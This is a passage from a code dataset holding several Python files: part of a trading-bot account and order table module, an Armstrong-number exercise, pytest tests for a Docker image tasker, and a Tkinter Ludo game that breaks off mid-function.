self.account.currency,\n self.account.format_price(self._account.balance * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n margin_balance = \"%s (%s)\" % (\n self.account.format_price(self._account.margin_balance) + self.account.currency_display or self.account.currency,\n self.account.format_price(self._account.margin_balance * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n net_worth = \"%s (%s)\" % (\n self.account.format_price(self._account.net_worth) + self.account.currency_display or self.account.currency,\n self.account.format_alt_price(self._account.net_worth * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n risk_limit = \"%s (%s)\" % (\n self.account.format_price(self._account.risk_limit) + self.account.currency_display or self.account.currency,\n self.account.format_price(self._account.risk_limit * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n upnl = \"%s (%s)\" % (\n self.account.format_price(self._account.profit_loss) + self.account.currency_display or self.account.currency,\n self.account.format_alt_price(self._account.profit_loss * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n asset_upnl = \"%s (%s)\" % (\n self.account.format_price(self._account.asset_profit_loss) + self.account.currency_display or self.account.currency,\n self.account.format_alt_price(self._account.asset_profit_loss * self._account.currency_ratio) + self.account.alt_currency_display or self.account.alt_currency)\n\n row = (\n self.name,\n self._account.name,\n self._account.username,\n self._account.email,\n asset_balance,\n free_asset_balance,\n balance,\n margin_balance,\n \"%.2f%%\" % (self.account.margin_level * 100.0),\n net_worth,\n risk_limit,\n upnl,\n asset_upnl\n )\n\n if offset < 1 and limit > 0:\n data.append(row[col_ofs:])\n\n return columns[col_ofs:], data, (len(columns), 1)\n\n def get_active_orders(self):\n \"\"\"\n Generate and return an array of all active orders :\n symbol: str market identifier\n id: int order identifier\n refid: int ref order identifier\n \"\"\"\n results = []\n\n with self._mutex:\n try:\n for k, order in self._orders.items():\n market = self._markets.get(order.symbol)\n if market:\n results.append({\n 'mid': market.market_id,\n 'sym': market.symbol,\n 'id': order.order_id,\n 'refid': order.ref_order_id,\n 'ct': order.created_time,\n 'tt': order.transact_time,\n 'd': order.direction_to_str(),\n 'ot': order.order_type_to_str(),\n 'l': order.leverage,\n 'q': market.format_quantity(order.quantity),\n 'op': market.format_price(order.price) if order.price else \"\",\n 'sp': market.format_price(order.stop_price) if order.stop_price else \"\",\n 'sl': market.format_price(order.stop_loss) if order.stop_loss else \"\",\n 'tp': market.format_price(order.take_profit) if order.take_profit else \"\",\n 'tr': \"No\",\n 'xq': market.format_quantity(order.executed),\n 'ro': order.reduce_only,\n 'he': order.hedging,\n 'po': order.post_only,\n 'co': order.close_only,\n 'mt': order.margin_trade,\n 'tif': order.time_in_force_to_str(),\n 'pt': order.price_type_to_str(),\n 'key': order.key\n })\n except Exception as e:\n error_logger.error(repr(e))\n traceback_logger.error(traceback.format_exc())\n\n return results\n\n def get_active_positions(self):\n \"\"\"\n Generate and return an array of all active positions :\n symbol: str market identifier\n id: int position identifier\n et: float entry UTC timestamp\n xt: float exit UTC timestamp\n d: str 'long' or 'short'\n l: str leverage\n tp: str formatted take-profit price\n sl: str formatted stop-loss price\n tr: str trailing stop distance or None\n rate: float profit/loss rate\n q: float size qty\n aep: average entry price\n axp: average exit price\n pl: position unrealized profit loss rate\n pnl: position unrealized profit loss\n mpl: position unrealized profit loss rate at market\n mpnl: position unrealized profit loss at market\n pnlcur: trade profit loss currency\n key: user key\n \"\"\"\n results = []\n\n with self._mutex:\n try:\n for k, position in self._positions.items():\n market = self._markets.get(position.symbol)\n if market:\n results.append({\n 'mid': market.market_id,\n 'sym': market.symbol,\n 'id': position.position_id,\n 'et': position.created_time,\n 'xt': position.closed_time,\n 'd': position.direction_to_str(),\n 'l': position.leverage,\n 'aep': market.format_price(position.entry_price) if position.entry_price else \"\",\n 'axp': market.format_price(position.exit_price) if position.exit_price else \"\",\n 'q': market.format_quantity(position.quantity),\n 'tp': market.format_price(position.take_profit) if position.take_profit else \"\",\n 'sl': market.format_price(position.stop_loss) if position.stop_loss else \"\",\n 'tr': \"Yes\" if position.trailing_stop else \"No\", # market.format_price(position.trailing_stop_distance) if position.trailing_stop_distance else None,\n 'pl': position.profit_loss_rate,\n 'pnl': market.format_price(position.profit_loss),\n 'mpl': position.profit_loss_market_rate,\n 'mpnl': market.format_price(position.profit_loss_market),\n 'pnlcur': position.profit_loss_currency,\n 'cost': market.format_quantity(position.position_cost(market)),\n 'margin': market.format_quantity(position.margin_cost(market)),\n 'key': position.key\n })\n except Exception as e:\n error_logger.error(repr(e))\n traceback_logger.error(traceback.format_exc())\n\n return results\n\n def positions_stats_table(self, style='', offset=None, limit=None, col_ofs=None, quantities=False, percents=False, datetime_format='%y-%m-%d %H:%M:%S'):\n \"\"\"\n Returns a table of any active positions.\n \"\"\"\n columns = ['Market', '#', charmap.ARROWUPDN, 'x', 'P/L(%)', 'SL', 'TP', 'TR', 'Entry date', 'Avg EP', 'Exit date', 'Avg XP', 'UPNL', 'Cost', 'Margin', 'Key']\n\n if quantities:\n columns += ['Qty']\n\n columns = tuple(columns)\n total_size = (len(columns), 0)\n data = []\n\n with self._mutex:\n try:\n positions = self.get_active_positions()\n total_size = (len(columns), len(positions))\n\n if offset is None:\n offset = 0\n\n if limit is None:\n limit = len(positions)\n\n limit = offset + limit\n\n positions.sort(key=lambda x: x['et'])\n positions = positions[offset:limit]\n\n for t in positions:\n direction = Color.colorize_cond(charmap.ARROWUP if t['d'] == \"long\" else charmap.ARROWDN, t['d'] == \"long\", style=style, true=Color.GREEN, false=Color.RED)\n\n aep = float(t['aep']) if t['aep'] else 0.0\n sl = float(t['sl']) if t['sl'] else 0.0\n tp = float(t['tp']) if t['tp'] else 0.0\n\n if t['pl'] < 0: # loss\n cr = Color.colorize(\"%.2f\" % (t['pl']*100.0), Color.RED, style=style)\n elif t['pl'] > 0: # profit\n cr = Color.colorize(\"%.2f\" % (t['pl']*100.0), Color.GREEN, style=style)\n else: # equity\n cr = \"0.0\"\n\n if t['d'] == 'long' and aep:\n slpct = (sl - aep) / aep\n tppct = (tp - aep) / aep\n elif t['d'] == 'short' and aep:\n slpct = (aep - sl) / aep\n tppct = (aep - tp) / aep\n else:\n slpct = 0\n tppct = 0\n\n row = [\n t['mid'],\n t['id'],\n direction,\n \"%.2f\" % t['l'] if t['l'] else '-',\n cr,\n \"%s (%.2f)\" % (t['sl'], slpct * 100) if percents else t['sl'],\n \"%s (%.2f)\" % (t['tp'], tppct * 100) if percents else t['tp'],\n t['tr'],\n datetime.fromtimestamp(t['et']).strftime(datetime_format) if t['et'] > 0 else \"\",\n t['aep'],\n datetime.fromtimestamp(t['xt']).strftime(datetime_format) if t['xt'] > 0 else \"\",\n t['axp'],\n \"%s%s\" % (t['pnl'], t['pnlcur']),\n t['cost'],\n t['margin'],\n t['key']\n ]\n\n # @todo xx / market.base_exchange_rate and pnl_currency\n\n if quantities:\n row.append(t['q'])\n\n data.append(row[col_ofs:])\n\n except Exception as e:\n error_logger.error(repr(e))\n traceback_logger.error(traceback.format_exc())\n\n return columns[col_ofs:], data, total_size\n\n def active_orders_table(self, style='', offset=None, limit=None, col_ofs=None, quantities=False, percents=False, datetime_format='%y-%m-%d %H:%M:%S'):\n \"\"\"\n Returns a table of any active orders.\n \"\"\"\n columns = ['Market', '#', 'ref #', charmap.ARROWUPDN, 'Type', 'x', 'Limit', 'Stop', 'SL', 'TP', 'TR', 'Created date', 'Transac date',\n 'Reduce', 'Post', 'Hedge', 'Close', 'Margin', 'TIF', 'Price', 'Key']\n\n if quantities:\n columns += ['Qty']\n columns += ['Exec']\n\n columns = tuple(columns)\n total_size = (len(columns), 0)\n data = []\n\n with self._mutex:\n try:\n orders = self.get_active_orders()\n total_size = (len(columns), len(orders))\n\n if offset is None:\n offset = 0\n\n if limit is None:\n limit = len(orders)\n\n limit = offset + limit\n\n orders.sort(key=lambda x: x['ct'])\n orders = orders[offset:limit]\n\n for t in orders:\n direction = Color.colorize_cond(charmap.ARROWUP if t['d'] == \"long\" else charmap.ARROWDN, t['d'] == \"long\", style=style, true=Color.GREEN, false=Color.RED)\n\n op = float(t['op']) if t['op'] else 0.0\n sl = float(t['sl']) if t['sl'] else 0.0\n tp = float(t['tp']) if t['tp'] else 0.0\n\n if t['d'] == 'long' and op:\n slpct = (sl - op) / op if sl else 0.0\n tppct = (tp - op) / op if tp else 0.0\n elif t['d'] == 'short' and op:\n slpct = (op - sl) / op if sl else 0.0\n tppct = (op - tp) / op if tp else 0.0\n else:\n slpct = 0\n tppct = 0\n\n row = [\n t['mid'],\n t['id'],\n t['refid'],\n direction,\n t['ot'],\n \"%.2f\" % t['l'] if t['l'] else '-',\n t['op'],\n t['sp'],\n \"%s (%.2f)\" % (t['sl'], slpct * 100) if percents else t['sl'],\n \"%s (%.2f)\" % (t['tp'], tppct * 100) if percents else t['tp'],\n t['tr'],\n datetime.fromtimestamp(t['ct']).strftime(datetime_format) if t['ct'] > 0 else \"\",\n datetime.fromtimestamp(t['tt']).strftime(datetime_format) if t['tt'] > 0 else \"\",\n \"Yes\" if t['ro'] else \"No\",\n \"Yes\" if t['po'] else \"No\",\n \"Yes\" if t['he'] else \"No\",\n \"Yes\" if t['co'] else \"No\",\n \"Yes\" if t['mt'] else \"No\",\n t['tif'],\n t['pt'],\n t['key']\n ]\n\n if quantities:\n row.append(t['q'])\n row.append(t['xq'])\n\n data.append(row[col_ofs:])\n\n except Exception as e:\n error_logger.error(repr(e))\n traceback_logger.error(traceback.format_exc())\n\n return columns[col_ofs:], data, total_size\n\n #\n # commands\n #\n\n def cmd_trader_info(self, data):\n # info on the global trader instance\n pass\n","sub_path":"trader/trader.py","file_name":"trader.py","file_ext":"py","file_size_in_byte":55363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"520473803","text":"num = int(input(\"Enter Number: \"))\n\n\ndef check_armstrong(value):\n length = len(str(value))\n origanal = value\n result = 0\n while value > 0:\n reminder = value % 10\n result += reminder ** length\n value = value // 10\n\n if origanal == result:\n print(origanal, \" is Armstrong\")\n else:\n print(origanal, \"is not Armstrong\")\n\n\ncheck_armstrong(num)","sub_path":"Funtions/Armstrong_withArg_noReturn.py","file_name":"Armstrong_withArg_noReturn.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"618796586","text":"from __future__ import print_function\n\nfrom fixtures import temp_image_name\n\nfrom dock.core import DockerTasker\nfrom tests.constants import INPUT_IMAGE, DOCKERFILE_GIT\n\nimport git\nimport docker, docker.errors\nimport pytest\n\n\n# TEST-SUITE SETUP\n\ndef setup_module(module):\n d = docker.Client()\n try:\n d.inspect_image(INPUT_IMAGE)\n setattr(module, 'HAS_IMAGE', True)\n except docker.errors.APIError:\n _ = [x for x in d.pull(\"busybox:latest\", stream=True)]\n setattr(module, 'HAS_IMAGE', False)\n\n\ndef teardown_module(module):\n if not getattr(module, 'HAS_IMAGE', False):\n d = docker.Client()\n d.remove_image(INPUT_IMAGE)\n\n\n# TESTS\n\ndef test_run():\n t = DockerTasker()\n container_id = t.run(INPUT_IMAGE, command=\"id\")\n try:\n t.wait(container_id)\n finally:\n t.remove_container(container_id)\n\n\ndef test_run_invalid_command():\n t = DockerTasker()\n command = \"eporeporjgpeorjgpeorjgpeorjgpeorjgpeorjg\" # I hope this doesn't exist\n try:\n with pytest.raises(docker.errors.APIError):\n t.run(INPUT_IMAGE, command=command)\n finally:\n # remove the container\n containers = t.d.containers(all=True)\n container_id = [c for c in containers if c[\"Command\"] == command][0]['Id']\n t.remove_container(container_id)\n\n\ndef test_image_exists():\n t = DockerTasker()\n assert t.image_exists(INPUT_IMAGE) is True\n\n\ndef test_image_doesnt_exist():\n t = DockerTasker()\n assert t.image_exists(\"lerknglekrnglekrnglekrnglekrng\") is False\n\n\ndef test_logs():\n t = DockerTasker()\n container_id = t.run(INPUT_IMAGE, command=\"id\")\n try:\n t.wait(container_id)\n output = t.logs(container_id, stderr=True, stream=False)\n assert \"\\n\".join(output).startswith(\"uid=\")\n finally:\n t.remove_container(container_id)\n\n\ndef test_remove_container():\n t = DockerTasker()\n container_id = t.run(INPUT_IMAGE, command=\"id\")\n try:\n t.wait(container_id)\n finally:\n t.remove_container(container_id)\n\n\ndef test_remove_image(temp_image_name):\n t = DockerTasker()\n container_id = t.run(INPUT_IMAGE, command=\"id\")\n t.wait(container_id)\n image_id = t.commit_container(container_id, repository=temp_image_name)\n try:\n t.remove_container(container_id)\n finally:\n t.remove_image(image_id)\n assert not t.image_exists(temp_image_name)\n\n\ndef test_commit_container(temp_image_name):\n t = DockerTasker()\n container_id = t.run(INPUT_IMAGE, command=\"id\")\n t.wait(container_id)\n image_id = t.commit_container(container_id, message=\"test message\", repository=temp_image_name)\n try:\n assert t.image_exists(image_id)\n finally:\n t.remove_container(container_id)\n t.remove_image(image_id)\n\n\ndef test_inspect_image():\n t = DockerTasker()\n inspect_data = t.inspect_image(INPUT_IMAGE)\n assert isinstance(inspect_data, dict)\n\n\ndef test_tag_image(temp_image_name):\n t = DockerTasker()\n expected_img = \"somewhere.example.com/%s:1\" % temp_image_name\n img = t.tag_image(INPUT_IMAGE, temp_image_name, reg_uri=\"somewhere.example.com\", tag='1')\n try:\n assert t.image_exists(expected_img)\n assert img == expected_img\n finally:\n t.remove_image(expected_img)\n\n\ndef test_push_image(temp_image_name):\n t = DockerTasker()\n expected_img = \"localhost:5000/%s:1\" % temp_image_name\n t.tag_image(INPUT_IMAGE, temp_image_name, reg_uri=\"localhost:5000\", tag='1')\n output = t.push_image(expected_img, insecure=True)\n assert output is not None\n t.remove_image(expected_img)\n\n\ndef test_tag_and_push(temp_image_name):\n t = DockerTasker()\n expected_img = \"localhost:5000/%s:1\" % temp_image_name\n output = t.tag_and_push_image(INPUT_IMAGE, temp_image_name, reg_uri=\"localhost:5000\", tag='1', insecure=True)\n assert output is not None\n assert t.image_exists(expected_img)\n t.remove_image(expected_img)\n\n\ndef test_pull_image():\n t = DockerTasker()\n expected_img = \"localhost:5000/busybox\"\n t.tag_and_push_image('busybox', 'busybox', 'localhost:5000', insecure=True)\n got_image = t.pull_image('busybox', 'localhost:5000', insecure=True)\n assert expected_img == got_image\n assert len(t.last_logs) > 0\n t.remove_image(got_image)\n\n\ndef test_get_image_info_by_id_nonexistent():\n t = DockerTasker()\n response = t.get_image_info_by_image_id(\"asd\")\n assert response is None\n\n\ndef test_get_image_info_by_id():\n t = DockerTasker()\n image_id = t.get_image_info_by_image_name(\"busybox\")[0]['Id']\n response = t.get_image_info_by_image_id(image_id)\n assert isinstance(response, dict)\n\n\ndef test_get_image_info_by_name_tag_in_name():\n t = DockerTasker()\n response = t.get_image_info_by_image_name(image_name=INPUT_IMAGE)\n assert len(response) == 0\n\n\ndef test_build_image_from_path(tmpdir, temp_image_name):\n tmpdir_path = str(tmpdir.realpath())\n git.Repo.clone_from(DOCKERFILE_GIT, tmpdir_path)\n df = tmpdir.join(\"Dockerfile\")\n assert df.check()\n t = DockerTasker()\n response = t.build_image_from_path(tmpdir_path, temp_image_name, use_cache=True)\n list(response)\n assert response is not None\n assert t.image_exists(temp_image_name)\n t.remove_image(temp_image_name)\n\n\ndef test_build_image_from_git(temp_image_name):\n t = DockerTasker()\n response = t.build_image_from_git(DOCKERFILE_GIT, temp_image_name, use_cache=True)\n list(response)\n assert response is not None\n assert t.image_exists(temp_image_name)\n t.remove_image(temp_image_name)\n","sub_path":"tests/test_tasker.py","file_name":"test_tasker.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"173266385","text":"from tkinter import *\nimport random\nfrom PIL import ImageTk, Image\nroot = Tk()\nnumber = 0\nturn = \"green\"\n# button = ''\nm = 1\n# gui window\nwindow_width = 750\nwindow_height = 750\nroot.geometry((\"750x750\"))\nroot.title(\"Ludo By Vishal\")\nroot.maxsize(window_width, window_height)\nroot.minsize(window_width, window_height)\nold = 0\n\n\n# canvas\nshape = Canvas(root, width=window_width, height=window_height)\nshape.pack()\n\n\ndef numberzero():\n global number\n number = 0\n\n# def buttonblank():\n# global button\n# button = \"\"\n# function\n# dicefunction\n\ndef chaturn():\n global turn\n\n if turn == \"blue\":\n turn = \"red\"\n shape.create_rectangle(10, 10, 290, 290, width=10, outline=\"blue\")\n shape.create_rectangle(460, 10, 740, 290, width=10)\n r1.place(x=r1.winfo_x(), y=r1.winfo_y())\n r2.place(x=r2.winfo_x(), y=r2.winfo_y())\n r3.place(x=r3.winfo_x(), y=r3.winfo_y())\n r4.place(x=r4.winfo_x(), y=r4.winfo_y())\n print(\"red turn\")\n elif turn == \"red\":\n turn = \"yellow\"\n shape.create_rectangle(460, 10, 740, 290, width=10, outline=\"red\")\n shape.create_rectangle(460, 460, 740, 740, width=10)\n y1.place(x=y1.winfo_x(), y=y1.winfo_y())\n y2.place(x=y2.winfo_x(), y=y2.winfo_y())\n y3.place(x=y3.winfo_x(), y=y3.winfo_y())\n y4.place(x=y4.winfo_x(), y=y4.winfo_y())\n print(\"yellow turn\")\n elif turn == \"yellow\":\n turn = \"green\"\n shape.create_rectangle(460, 460, 740, 740, width=10, outline=\"yellow\")\n shape.create_rectangle(10, 460, 290, 740, width=10)\n g1.place(x=g1.winfo_x(), y=g1.winfo_y())\n g2.place(x=g2.winfo_x(), y=g2.winfo_y())\n g3.place(x=g3.winfo_x(), y=g3.winfo_y())\n g4.place(x=g4.winfo_x(), y=g4.winfo_y())\n print(\"green turn\")\n elif turn == \"green\":\n turn = \"blue\"\n shape.create_rectangle(10, 460, 290, 740, width=10, outline=\"green\")\n shape.create_rectangle(10, 10, 290, 290, width=10)\n b1.place(x=b1.winfo_x(), y=b1.winfo_y())\n b2.place(x=b2.winfo_x(), y=b2.winfo_y())\n b3.place(x=b3.winfo_x(), y=b3.winfo_y())\n b4.place(x=b4.winfo_x(), y=b4.winfo_y())\n print(\"blue turn\")\n\n\n\n\n\n\ndef dicerolled():\n global number, old\n number = random.randint(1, 6)\n if number == 1:\n img = \"1.png\"\n elif number == 2:\n img = \"2.png\"\n elif number == 3:\n img = \"3.png\"\n elif number == 4:\n img = \"4.png\"\n elif number == 5:\n img = \"5.png\"\n elif number == 6:\n img = \"6.png\"\n img = Image.open(img)\n img = img.resize((100, 100), Image.ANTIALIAS)\n image = ImageTk.PhotoImage(img)\n # img = shape.create_image(375, 365, image=image)\n # Canvas.tag_raise(img)\n if old!=6: \n chaturn()\n print(number)\n else:\n print(turn, \"turn\")\n print(number)\n img = Label(root, image=image)\n img.image = image\n img.place(x=325, y=310) \n old = number\n \n return number\n\n \ndef bottoncheck(button_id):\n global button\n if button_id == \"b1\":\n button = b1\n elif button_id == \"b2\":\n button = b2\n elif button_id == \"b3\":\n button = b3\n elif button_id == \"b4\":\n button = b4\n elif button_id == \"r1\":\n button = r1\n elif button_id == \"r2\":\n button = r2\n elif button_id == \"r3\":\n button = r3\n elif button_id == \"r4\":\n button = r4\n elif button_id == \"g1\":\n button = g1\n elif button_id == \"g2\":\n button = g2\n elif button_id == \"g3\":\n button = g3\n elif button_id == \"g4\":\n button = g4\n elif button_id == \"y1\":\n button = y1\n elif button_id == \"y2\":\n button = y2\n elif button_id == \"y3\":\n button = y3\n elif button_id == \"y4\":\n button = y4\n chance()\n\n\ndef chance():\n if turn == \"blue\":\n if button in [b1, b2, b3, b4]:\n path()\n \n else:\n print(\"ITS BLUE TURN!!\")\n elif turn == \"red\":\n if button in [r1, r2, r3, r4]:\n path()\n \n else:\n print(\"ITS RED TURN!!\")\n elif turn == \"yellow\":\n if button in [y1, y2, y3, y4]:\n path()\n \n else:\n print(\"ITS YELLOW TURN!!\")\n elif turn == \"green\":\n if button in [g1, g2, g3, g4]:\n path()\n \n else:\n print(\"ITS GREEN TURN!!\")\n\n\n\n\n# def overlaping():\n# blue_x = {\"b1\" : b1.winfo_x(), \"b2\" : b2.winfo_x(), \"b3\" : b3.winfo_x(), \"b4\": b4.winfo_x()}\n# blue_y = {\"b1\" : b1.winfo_y(), \"b2\" : b2.winfo_y(), \"b3\" : b3.winfo_y(), \"b4\": b4.winfo_y()}\n\n# green_x = {\"g1\" : g1.winfo_x(), \"g2\" : g2.winfo_x(), \"g3\" : g3.winfo_x(), \"g4\" : g4.winfo_x()}\n# green_y = {\"g1\" : g1.winfo_y(), \"g2\" : g2.winfo_y(), \"g3\" : g3.winfo_y(), \"g4\" : g4.winfo_y()}\n\n# red_x = {\"r1\" : r1.winfo_x(), \"r2\" : r2.winfo_x(), \"r3\" : r3.winfo_x(), \"r4\" : r4.winfo_x()}\n# red_y = {\"r1\" : r1.winfo_y(), \"r2\" : r2.winfo_y(), \"r3\" : r3.winfo_y(), \"r4\" : r4.winfo_y()}\n\n# yellow_x = {\"y2\" : y1.winfo_x(), \"y2\" : y2.winfo_x(), \"y3\" : y3.winfo_x(), \"y4\" : y4.winfo_x()}\n# yellow_y = {\"y2\" : y1.winfo_y(), \"y2\" : y2.winfo_y(), \"y3\" : y3.winfo_y(), \"y4\" : y4.winfo_y()}\n\n# buttonx = button.winfo_x()\n# buttony = button.winfo_y()\n\n# if turn==\"blue\":\n# if buttonx in green_x.values() and buttony in green_y.values():\n# if green_x.keys()[green_x.values().index[buttonx]] in [g1, g2, g3, g4]:\n\n# count = 3\n# while count>=0:\n# a = list(green_x.keys())[count]\n# b = list(green_y.keys())[count]\n# if buttonx == a and buttony == b:\n# if count == 0:\n# g1.place(x = 50, y = 500)\n# elif count == 1:\n# g2.place(x = 175, y = 500)\n# elif count == 2:\n# g3.place(x = 50, y = 650)\n# elif count == 3:\n# g4.place(x = 175, y = 650)\n# count-=1\n# else:\n# print(\"task 1 failed\")\n# else:\n# print(\"task 2 failed\")\n# print(button.winfo_x(), button.winfo_y())\n# elif buttonx in red_x and buttony in red_y:\n# count = 3\n# while count>=0:\n# a = red_x[count]\n# b = red_y[count]\n# if buttonx == a and buttony == b:\n# if count == 0:\n# r1.place(x = 500, y = 50)\n# elif count == 1:\n# r2.place(x = 650, y = 50)\n# elif count == 2:\n# r3.place(x = 500, y = 200)\n# elif count == 3:\n# r4.place(x = 650, y = 200) \n# count-=1\n# elif buttonx in yellow_x and buttony in yellow_y:\n# count = 3\n# while count>=0:\n# a = yellow_x[count]\n# b = yellow_y[count]\n# if buttonx == a and buttony == b:\n# if count == 0:\n# y1.place(x = 500, y = 500)\n# elif count == 1:\n# y2.place(x = 650, y = 50)\n# elif count == 2:\n# y3.place(x = 500, y = 650)\n# elif count == 3:\n# y4.place(x = 650, y = 650)\n# count-=1\n \n \n \n# elif turn!=\"red\":\n# count = 3\n# while count>=0:\n# x = red_x[count]\n# y = red_y[count]\n# if buttonx == x and buttony == y:\n# if r1.winfo_x() == buttonx:\n# r1.place(x = 500, y = 50)\n# if r2.winfo_x() == buttonx:\n# r2.place(x = 650, y = 50)\n# if r3.winfo_x() == buttonx:\n# r3.place(x = 500, y = 200)\n# if r4.winfo_x() == buttonx:\n# r4.place(x = 650, y = 200) \n# count-=1\n \n# elif turn!=\"green\":\n# count = 3\n# while count>=0:\n# x = green_x[count]\n# y = green_y[count]\n# if buttonx == x and buttony == y:\n# if g1.winfo_x() == buttonx:\n# g1.place(x = 50, y = 500)\n# if g2.winfo_x() == buttonx:\n# g2.place(x = 175, y = 500)\n# if g3.winfo_x() == buttonx:\n# g3.place(x = 50, y = 650)\n# if g4.winfo_x() == buttonx:\n# g4.place(x = 175, y = 650) \n# count-=1\n \n# elif turn!=\"yellow\":\n# count = 3\n# while count>=0:\n# x = yellow_x[count]\n# y = yellow_y[count]\n# if buttonx == x and buttony == y:\n# if y1.winfo_x() == buttonx:\n# y1.place(x = 500, y = 500)\n# if y2.winfo_x() == buttonx:\n# y2.place(x = 650, y = 50)\n# if y3.winfo_x() == buttonx:\n# y3.place(x = 500, y = 650)\n# if y4.winfo_x() == buttonx:\n# y4.place(x = 650, y = 650) \n# count-=1\n \n\n\n\n\n\ndef path():\n buttonx = button.winfo_x()\n buttony = button.winfo_y()\n if number == 6 and (buttonx == 500 and buttony == 50):\n button.place(x=400, y=50)\n numberzero()\n elif number == 6 and (buttonx == 175 and buttony == 50):\n button.place(x=50, y=300)\n numberzero()\n elif number == 6 and (buttonx == 50 and buttony == 200):\n button.place(x=50, y=300)\n numberzero()\n elif number == 6 and (buttonx == 175 and buttony == 200):\n button.place(x=50, y=300)\n numberzero()\n\n elif number == 6 and (buttonx == 500 and buttony == 50):\n button.place(x=400, y=50)\n numberzero()\n elif number == 6 and (buttonx == 650 and buttony == 50):\n button.place(x=400, y=50)\n numberzero()\n elif number == 6 and (buttonx == 500 and buttony == 200):\n button.place(x=400, y=50)\n numberzero()\n elif number == 6 and (buttonx == 650 and buttony == 200):\n button.place(x=400, y=50)\n numberzero()\n\n elif number == 6 and (buttonx == 50 and buttony == 500):\n button.place(x=300, y=650)\n numberzero()\n elif number == 6 and (buttonx == 175 and buttony == 500):\n button.place(x=300, y=650)\n numberzero()\n elif number == 6 and (buttonx == 50 and buttony == 650):\n button.place(x=300, y=650)\n numberzero()\n elif number == 6 and (buttonx == 175 and buttony == 650):\n button.place(x=300, y=650)\n numberzero()\n\n elif number == 6 and (buttonx == 500 and buttony == 500):\n button.place(x=650, y=400)\n numberzero()\n elif number == 6 and (buttonx == 650 and buttony == 500):\n button.place(x=650, y=400)\n numberzero()\n elif number == 6 and (buttonx == 500 and buttony == 650):\n button.place(x=650, y=400)\n numberzero()\n elif number == 6 and (buttonx == 650 and buttony == 650):\n button.place(x=650, y=400)\n numberzero()\n elif buttonx in range(0, 251, 50) and buttony == 300:\n if buttonx+50*number in range(0, 251, 50):\n button.place(x=buttonx + 50*number, y=300)\n numberzero()\n else:\n count = number-((250-buttonx)//50)\n button.place(x=300, y=buttony-50*(count))\n numberzero()\n elif buttonx == 300 and buttony in range(0, 251, 50):\n if buttony-50*number in range(0, 251, 50):\n button.place(y=buttony - 50*number, x=300)\n numberzero()\n else:\n count = number-((buttony)//50)\n if button in [r1, r2, r3, r4]:\n if count>1:\n count-=1\n button.place(x=350,y=50*count)\n numberzero()\n elif count==1:\n button.place(x=350,y=0)\n numberzero()\n else:\n \n if count > 2:\n count -= 2\n button.place(x=400, y=count*50)\n numberzero()\n else:\n button.place(x=300+(count*50), y=0)\n numberzero()\n\n elif buttony in range(0, 301, 50) and buttonx == 350:\n if button in [r1, r2, r3, r4]:\n if buttonx==350 and buttony in range(0,301,50):\n if buttony+50*number in range(0, 251, 50):\n button.place(y=buttony + 50*number, x=350)\n numberzero()\n elif buttony+50*number == 300:\n button.destroy()\n numberzero()\n else:\n count = number\n if count == 1:\n button.place(x=400, y=0)\n numberzero()\n elif count > 1:\n count -= 1\n button.place(x=400, y=50*count)\n numberzero()\n elif buttonx == 400 and buttony in range(0, 251, 50):\n if buttony+50*number in range(0, 251, 50):\n button.place(y=buttony + 50*number, x=400)\n numberzero()\n else:\n count = number-((250-buttony)//50)\n button.place(y=300, x=buttonx+50*(count))\n numberzero()\n\n elif buttony == 300 and buttonx in range(450, 701, 50):\n if buttonx+50*number in range(450, 701, 50):\n button.place(x=buttonx + 50*number, y=300)\n numberzero()\n else:\n count = number-((700 - buttonx)//50)\n if button in [y1, y2, y3, y4]:\n if count>1:\n count-=1\n button.place(y=350,x=700 - 50*count)\n numberzero()\n elif count==1:\n button.place(y=350,x=700)\n numberzero()\n else:\n if count > 2:\n count -= 2\n button.place(y=400, x=700-(count*50))\n numberzero()\n else:\n button.place(y=300+(count*50), x=700)\n numberzero()\n\n elif buttony == 350 and buttonx in range(400,701, 50):\n if button in [y1, y2, y3, y4]:\n if buttony==350 and buttonx in range(400,701, 50):\n if buttonx-50*number in range(450,701, 50):\n button.place(x=buttonx - 50*number, y=350)\n numberzero()\n elif buttonx-50*number == 400:\n button.destroy()\n numberzero()\n else:\n count = number\n if count == 1:\n button.place(y=400, x=700)\n numberzero()\n elif count > 1:\n count -= 1\n button.place(y=400, x=700 - (50*count))\n numberzero()\n\n elif buttony == 400 and buttonx in range(450, 701, 50):\n if buttonx-50*number in range(450, 701, 50):\n button.place(x=buttonx - 50*number, y=400)\n numberzero()\n else:\n count = number - ((buttonx - 450)//50)\n button.place(x=400, y=400+(count*50))\n numberzero()\n\n elif buttonx == 400 and buttony in range(450, 701, 50):\n if buttony+50*number in range(450, 701, 50):\n button.place(y=buttony + 50*number, x=400)\n numberzero()\n else:\n count = number-((700-buttony)//50)\n if button in [g1, g2, g3, g4]:\n if count>1:\n count-=1\n button.place(x=350,y=700 - 50*count)\n numberzero()\n elif count==1:\n button.place(x=350,y=700)\n numberzero()\n else:\n if count > 2:\n count -= 2\n button.place(x=300, y=700 - (count*50))\n numberzero()\n else:\n button.place(y=700, x=400-(count*50))\n numberzero()\n\n elif buttonx == 350 and buttony in range(400,701, 50):\n if button in [g1, g2, g3, g4]:\n if buttonx==350 and buttony in range(400,701, 50):\n if buttony-50*number in range(450,701, 50):\n button.place(y=buttony - 50*number, x=350)\n numberzero()\n elif buttony-50*number == 400:\n button.destroy()\n numberzero()\n else:\n count = number\n if count > 1:\n count -= 1\n button.place(x=300, y=700 - (count*50))\n numberzero()\n elif count == 1:\n button.place(x=300, y=700)\n numberzero()\n\n elif buttonx == 300 and buttony in range(450, 701, 50):\n if buttony-50*number in range(450, 701, 50):\n button.place(y=buttony - 50*number, x=300)\n numberzero()\n else:\n count = number-((buttony - 450)//50)\n button.place(x=300 - (count*50), y=400)\n numberzero()\n\n elif buttonx in range(0, 251, 50) and buttony == 400:\n if buttonx-50*number in range(0, 251, 50):\n button.place(x=buttonx - 50*number, y=400)\n numberzero()\n 